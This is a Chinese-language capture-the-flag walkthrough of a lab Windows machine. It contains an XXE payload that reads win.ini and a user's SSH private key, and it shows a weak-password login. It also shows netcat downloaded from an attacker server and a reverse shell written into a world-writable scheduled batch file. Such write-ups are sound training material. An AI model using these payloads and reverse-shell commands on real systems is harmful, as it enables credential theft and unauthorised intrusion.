文章目录
- 信息收集
 - xml注入
 - ssh 私钥连接
 - 提权
 
信息收集
使用如下参数可以探测具体版本,只使用-sV -v无此效果
nmap -sC -A -Pn 10.129.95.192
 

是个登录页面

弱口令,只有admin-password成功登录

几个页面,只有order.php页面可以与后端交互并传递xml格式数据

xml注入
payload如下,注意标签要和原本标签一致,否则可能不会解析,windows 读取 win.ini敏感文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<order>
    <quantity>
        111
    </quantity>
    <item>
        &test;
    </item>
    <address>
        11111
    </address>
</order>
 

继续查看敏感文件,在页面源代码中发现 modified by daniel,疑似系统用户,尝试读取 ssh 私钥
<!DOCTYPE ANY [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
 

保存到本地,使用文本编辑器注意 id_rsa文件最后一行要留一个换行符,否则 ssh 客户端无法解析

ssh 私钥连接
为文件赋予权限
# r=4 w=2 x=1 读、写、运行
chmod 400 id_rsa
 

连接,得到普通 shell
ssh -i id_rsa daniel@10.129.95.192
 
提权
Windows 查看用户权限
whoami /priv
 

没有什么有用的权限

切换目录
C:\Users\daniel>cd C:\
 
在LogManagenebt目录下发现一个批处理文件,功能是清理日志事件
# 关闭后面命令的输出
@echo off 
# 执行 bcdedit 命令 (并获取当前用户?) %%V 类似 for 循环的 i
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
# 判断用户是否是管理员 (为)
    IF (%adminTest%)==(Access) goto noAdmin
    	# wevtutil.exe 日志清理工具 系统自带 el列出事件日志
        for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
            echo.
            echo Event Logs have been cleared!
            goto theEnd
        # 回调函数 cl清理日志事件
        :do_clear
            wevtutil.exe cl %1
            goto :eof
        :noAdmin
            echo You must run this script as an Administrator!
    :theEnd
exit
 
运行中,管理员权限
# 转换为 powershell 很多命令在此环境才能解析
powershell
# 列出进程
ps
 

查看此文件权限,icacls相当于 chmod
icacls job.bat
 
BUILTIN\Users:(F)代表所有本地用户对此文件有完全控制权

思路是将反弹shell命令写入到此运行文件中
下载 nc,目标不出网,连接攻击机下载
# 攻击机
python3 -m http.server 8000
# 目标主机
wget http://10.10.16.3:8000/nc64.exe -o nc64.exe
 
退出powershell ,执行命令,nc 监听
# 直接反弹同权限 shell
.\nc64.exe 10.10.16.3 1234 -e cmd.exe
# 将命令写入文件
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.3 1234>C:\Log-Management\job.bat
 
反弹成功


















